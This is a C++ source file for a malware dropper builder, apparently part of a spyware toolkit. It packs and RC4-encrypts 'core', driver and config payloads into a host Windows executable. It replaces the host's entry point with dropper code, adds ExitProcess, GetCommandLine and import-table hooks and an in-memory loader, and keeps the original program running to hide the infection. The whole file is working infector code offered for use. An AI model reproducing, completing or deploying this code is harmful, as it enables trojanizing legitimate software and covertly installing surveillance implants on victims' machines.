#include <iostream>
#include <fstream>
#include <iomanip> 

#include <boost/filesystem.hpp>
namespace bf = boost::filesystem;

#include <aplib.h>

#include "PEObject.h"
#include "DropperObject.h"
#include "DropperCode.h"

using namespace std;

void rc4crypt(const unsigned char *key, size_t keylen,
			  unsigned char *data, size_t data_len);

DropperObject::DropperObject(PEObject& pe)
:  _data(0), _size(0), _pe(pe), _epOffset(0)
{
	_files.core.size = 0;
	_files.core64.size = 0;
	_files.config.size = 0;
	_files.codec.size = 0;
	_files.driver.size = 0;
	_files.driver64.size = 0;
	_files.bitmap.size = 0;
	
	int i = 0;
	/*
	while (_needed_strings[i] != NULL) {
		_strings.push_back(std::string(_needed_strings[i]));
		i++;
	}
	*/
	_exeType = _pe.exeType;
}

DWORD DropperObject::_build_scout( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix )
{
	DWORD dataBufferSize = 0;

	unsigned int buffer_size = 65535
		+ _files.core.size;

	_data.reset( new char[buffer_size] );
	char * ptr = _data.get();

	DataSectionHeader* header = (DataSectionHeader*)ptr;
	memset(header, 0, sizeof(DataSectionHeader));
	ptr += sizeof(DataSectionHeader);
	
	header->exeType = _pe.exeType;

	// Generate ecryption key
	string rc4_key;
	generate_key(rc4_key, sizeof(header->rc4key));
	memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key));
	//generate_key(rc4_key, 32);
	//memcpy(header->rc4key, rc4_key.c_str(), 32);

	cout << "Key       : " << rc4_key << endl;
	cout << "Key length: " << dec << sizeof(header->rc4key) << endl;	
	
	// Original EP
	header->pfn_OriginalEntryPoint = OriginalEntryPoint;

	// copy patched code for stage1 stub
	memcpy(ptr, _patches[0].buffer.get(), _patches[0].size);
	header->stage1.offset = ptr - _data.get();
	header->stage1.VA = _patches[0].VA;
	header->stage1.size = _patches[0].size;
	ptr += _patches[0].size;


	ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr);

	// compute total data section size and store in buffer
	dataBufferSize = ptr - _data.get();
	memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize));
	ptr += sizeof(dataBufferSize);	
	END_MARKER(ptr);


	// find new EP and copy dropper code in it
	_epOffset = ptr - _data.get();
	ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr);
	cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl;


	// ExitProcessHook data
	*((DWORD*) ptr) = ptr - _data.get();
	ptr += sizeof(DWORD);
	END_MARKER(ptr);

	// ExitProcessHook code
	ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr);
	cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl;

	// RC4 code
	ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr);
	cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl;

	// _loadlirary
	ptr += _embedFunction((PVOID)MemoryLoader, (PVOID)MemoryLoader_End, header->functions.load, ptr);
	cout << "MemoryLoader is " << header->functions.load.size << " bytes long, offset " << (DWORD)header->functions.load.offset << endl;

	// GetCommandLineAHook code
	ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr);
	cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl;

	// GetCommandLineWHook code
	ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr);
	cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl;

	// HookIAT code
	ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr);
	cout << "HookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl;

	header->restore.offset = ptr - _data.get();

	// static size of restoreStub
	header->restore.size = 78; 
	ptr += header->restore.size;

	header->isScout = TRUE;

	// compute total size
	_size = alignToDWORD(ptr - _data.get());
	
	cout << "Total dropper size is " << _size << " bytes." << endl;
	
	// return offset to new EP
	return _epOffset;

}

DWORD DropperObject::_build( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix, std::string installDir )
{
	DWORD dataBufferSize = 0;
	
	unsigned int buffer_size = 65535 // account for header and accessory data (strings, calls, etc)
		+ _files.codec.size
		+ _files.core.size
		+ _files.core64.size
		+ _files.config.size
		+ _files.driver.size
		+ _files.driver64.size
		+ _files.bitmap.size
		;
	
	_data.reset( new char[buffer_size] );
	char * ptr = _data.get();
	
	DataSectionHeader* header = (DataSectionHeader*)ptr;
	memset(header, 0, sizeof(DataSectionHeader));
	ptr += sizeof(DataSectionHeader);
	
	header->exeType = _pe.exeType;

	// Generate ecryption key
	string rc4_key;
	generate_key(rc4_key, sizeof(header->rc4key));
	memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key));
	
	cout << "Key       : " << rc4_key << endl;
	cout << "Key length: " << dec << sizeof(header->rc4key) << endl;	
	
	// Original EP
	header->pfn_OriginalEntryPoint = OriginalEntryPoint;
	
	// copy patched code for stage1 stub
	memcpy(ptr, _patches[0].buffer.get(), _patches[0].size);
	header->stage1.offset = ptr - _data.get();
	header->stage1.VA = _patches[0].VA;
	header->stage1.size = _patches[0].size;
	ptr += _patches[0].size;
	
	// embed core, driver, config and codec files
	ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr);
	ptr = _embedFile(header->rc4key, _files.core64, header->files.names.core64, header->files.core64, ptr);
	ptr = _embedFile(header->rc4key, _files.driver, header->files.names.driver, header->files.driver, ptr);
	ptr = _embedFile(header->rc4key, _files.driver64, header->files.names.driver64, header->files.driver64, ptr);
	ptr = _embedFile(header->rc4key, _files.config, header->files.names.config, header->files.config, ptr);
	ptr = _embedFile(header->rc4key, _files.codec, header->files.names.codec, header->files.codec, ptr);
	
	// compute total data section size and store in buffer
	dataBufferSize = ptr - _data.get();
	memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize));
	ptr += sizeof(dataBufferSize);	
	END_MARKER(ptr);
	
	// find new EP and copy dropper code in it
	_epOffset = ptr - _data.get();
	ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr);
	cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl;
	
	// CoreThreadProc code
	ptr += _embedFunction((PVOID)CoreThreadProc, (PVOID)CoreThreadProc_End, header->functions.coreThread, ptr);
	cout << "CoreThreadProc is " << header->functions.coreThread.size << " bytes long, offset " << header->functions.coreThread.offset << endl;
	
	// DumpFile code
	ptr += _embedFunction((PVOID)DumpFile, (PVOID)DumpFile_End, header->functions.dumpFile, ptr);
	cout << "DumpFile is " << header->functions.dumpFile.size << " bytes long, offset " << header->functions.dumpFile.offset << endl;
	
	// ExitProcessHook data
	*((DWORD*) ptr) = ptr - _data.get();
	ptr += sizeof(DWORD);
	END_MARKER(ptr);
	
	// ExitProcessHook code
	ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr);
	cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl;
		
	// GetCommandLineAHook data
	*((DWORD*) ptr) = ptr - _data.get();
	ptr += sizeof(DWORD);
	END_MARKER(ptr);	

	// GetCommandLineAHook code
	ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr);
	cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl;
	
	// GetCommandLineWHook data
	*((DWORD*) ptr) = ptr - _data.get();
	ptr += sizeof(DWORD);
	END_MARKER(ptr);	
	
	// GetCommandLineWHook code
	ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr);
	cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl;
	// RC4 code
	ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr);
	cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl;
	
	// hookIAT code
	ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr);
	cout << "hookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl;
	
	cout << "Original ptr: " << hex << (DWORD)ptr << ", aligned: " << hex << (DWORD)alignToDWORD((DWORD)ptr) << endl;
	
	header->restore.offset = ptr - _data.get();
	// static size of restoreStub
	header->restore.size = 78;
	ptr += header->restore.size;

	header->isScout = FALSE;

	memcpy(header->instDir, installDir.c_str(), sizeof(header->instDir));
	memcpy(header->eliteExports, fPrefix.c_str(), sizeof(header->eliteExports));

	// compute total size
	_size = alignToDWORD(ptr - _data.get());
	
	cout << "Total dropper size is " << _size << " bytes." << endl;
	
	// return offset to new EP
	return _epOffset;
}

bool DropperObject::_addCoreFile( std::string path, std::string name )
{
	cout << "Adding core file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.core.name = name;
	return _readFile(path, _files.core);	
}

bool DropperObject::_addCore64File( std::string path, std::string name )
{
	cout << "Adding core (64 bit) file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.core64.name = name;
	return _readFile(path, _files.core64);	
}

bool DropperObject::_addDriverFile( std::string path, std::string name )
{
	cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.driver.name = name;
	return _readFile(path, _files.driver);
}

bool DropperObject::_addDriver64File( std::string path, std::string name )
{
	cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.driver64.name = name;
	return _readFile(path, _files.driver64);
}

bool DropperObject::_addConfigFile( std::string path, std::string name )
{
	cout << "Adding config file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.config.name = name;
	return _readFile(path, _files.config);
}

bool DropperObject::_addCodecFile( std::string path, std::string name )
{
	cout << "Adding codec file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.codec.name = name;
	return _readFile(path, _files.codec);
}

bool DropperObject::_addBitmapFile( std::string path, std::string name )
{
	cout << "Adding demo bitmap file \"" << path << "\" as \"" << name << "\"." << endl;
	_files.bitmap.name = "infected.bmp";
	return _readFile(path, _files.bitmap);
}

int DropperObject::_embedFunction( PVOID funcStart, PVOID funcEnd , DataSectionBlob& func, char *ptr )
{
	DWORD size = (DWORD)funcEnd - (DWORD)funcStart;

	memcpy(ptr, (PBYTE) funcStart, size);
	func.offset = ptr - _data.get();
	func.size = size;

	return size;
}

unsigned int ratio(unsigned int x, unsigned int y)
{
	if (x <= UINT_MAX / 100) x *= 100; else y /= 100;
	if (y == 0) y = 1;
	return x / y;
}

int __stdcall callback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam)
{
	printf("\rcompressed %u -> %u bytes (%u%% done)", inpos, outpos, ratio(inpos, insize));
	return 1;
}

char* DropperObject::_embedFile(char* rc4key, NamedFileBuffer& source, DataSectionBlob& name, DataSectionCryptoPack& file, char* ptr )
{
	// check if we have some data to be appended
	if (source.buffer == NULL && source.size <= 0)
		return ptr;

	// copy name of file
	name.offset = ptr - _data.get();
	name.size = source.name.size() + 1;
	memcpy(ptr, source.name.c_str(), name.size);
	ptr += name.size;
	
#if defined PACK_DATA
	printf("[*] Compressing data, file size: %d\n", source.size);
	file.characteristics |= APLIB_PACKED;
	int length = source.size;
	
	char* packed = (char*) malloc(aP_max_packed_size(length));
	if (packed == NULL)
		return 0;
	
	char* workmem = (char*) malloc(aP_workmem_size(length));
	if (workmem == NULL)
		return 0;
	
	int packed_size = aP_pack(source.buffer.get(), packed, length, workmem, callback, NULL);
	printf("\n");
	if (packed_size == APLIB_ERROR) {
		printf("Error compressing!\n");
		return 0;
	}
	
	if (workmem) free(workmem);
#else
	char* packed = source.buffer.get();
	int packed_size = source.size;
#endif
	
	file.offset = ptr - _data.get();
	file.original_size = source.size;	
	file.size = packed_size;

	// crypt and write file
	file.characteristics |= RC4_CRYPTED;

	rc4crypt((unsigned char*)rc4key, RC4KEYLEN, (unsigned char*)packed, packed_size);
	memcpy(ptr, packed, packed_size);
	ptr += packed_size;

#if defined PACK_DATA
	free(packed);
#endif

	return ptr;
}

bool DropperObject::_readFile( std::string path, NamedFileBuffer& buffer )
{
	std::ifstream file(path.c_str(), ios::binary);
	
	if (!file.is_open())
		return false;
	
	// get length of file
	
	file.seekg(0, ios::end);
	buffer.size = file.tellg();
	file.seekg(0, ios::beg);
	
	buffer.buffer.reset( new char[buffer.size] );
	
	file.read(buffer.buffer.get(), buffer.size);
	file.close();
	
	return true;
}

bool DropperObject::build( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, std::string fPrefix, bf::path demoBitmap, BOOL isScout )
{

	if (isScout)
	{
		try
		{
			_setExecutableName("XXX");
			_setInstallDir("123");

			_addCoreFile(core.string(), core.filename());

			_build_scout( (WINSTARTFUNC) _pe.epVA(), fPrefix );
		}
		catch (...)
		{
			cout << __FUNCTION__ << "Failed building dropper object for SCOUT." << endl;
			return false;
		}
	}
	else
	{
		try {
			_setExecutableName("XXX");
			_setInstallDir(installDir);

			_addCoreFile(core.string(), core.filename());
			_addConfigFile(config.string(), config.filename());

			if (!core64.empty())
				_addCore64File(core64.string(), core64.filename());

			if (!codec.empty())
				_addCodecFile(codec.string(), codec.filename());

			if (!driver.empty())
				_addDriverFile(driver.string(), driver.filename());

			if (!driver64.empty())
				_addDriver64File(driver64.string(), driver64.filename());

			if (!demoBitmap.empty())
				_addBitmapFile(demoBitmap.string(), demoBitmap.filename());

			_build( (WINSTARTFUNC) _pe.epVA(), fPrefix, installDir );

		} catch (...) {
			cout << __FUNCTION__ << "Failed building dropper object." << endl;
			return false;
		}
	}
	return true;
}

/*
int DropperObject::_getIATCallIndex( std::string dll, std::string call )
{
	int index = -1;
	
	try {
		IATEntry const & entry = _pe.getIATEntry(dll, call);
		index = entry.index();
	} catch (IATEntryNotFound) {
		cout << __FUNCTION__ << ": no entry for " << dll << "(" << call << ")" << endl;
	}
	
	return index;
}
*/

void DropperObject::setPatchCode( std::size_t idx, DWORD VA, char const * const data, std::size_t size )
{
	_ASSERT(data);
	_ASSERT(size);
	
	_patches[idx].VA = VA;
	_patches[idx].buffer.reset( new char[size] );
	memcpy( _patches[idx].buffer.get(), data, size );
	_patches[idx].size = size;
}

void generate_key(std::string& key, unsigned int length) 
{
	srand( (unsigned int) time(NULL) );
	
	std::ostringstream outStream;
	
	// initalize seed and fill array with random fuss
	for (unsigned int i = 0; i < length; i++) {
		outStream << std::setw(2) << std::setfill('0') << std::hex << (unsigned int) (rand() % 100);
	}

	key = outStream.str();
}

void rc4crypt(const unsigned char *key, size_t keylen,
			  unsigned char *data, size_t data_len)
{
	unsigned int i, j, k;
	unsigned char *pos;
	unsigned char S[256];
	size_t kpos;
	size_t skip = 0;

	/* Setup RC4 state */
	for (i = 0; i < 256; i++)
		S[i] = i;
	j = 0;
	kpos = 0;
	for (i = 0; i < 256; i++) {
		j = (j + S[i] + key[kpos]) & 0xff;
		kpos++;
		if (kpos >= keylen)
			kpos = 0;
		S_SWAP(i, j);
	}

	/* Skip the start of the stream */
	i = j = 0;
	for (k = 0; k < skip; k++) {
		i = (i + 1) & 0xff;
		j = (j + S[i]) & 0xff;
		S_SWAP(i, j);
	}

	/* Apply RC4 to data */
	pos = data;
	for (k = 0; k < data_len; k++) {
		i = (i + 1) & 0xff;
		j = (j + S[i]) & 0xff;
		S_SWAP(i, j);
		*pos++ ^= S[(S[i] + S[j]) & 0xff];
	}
}
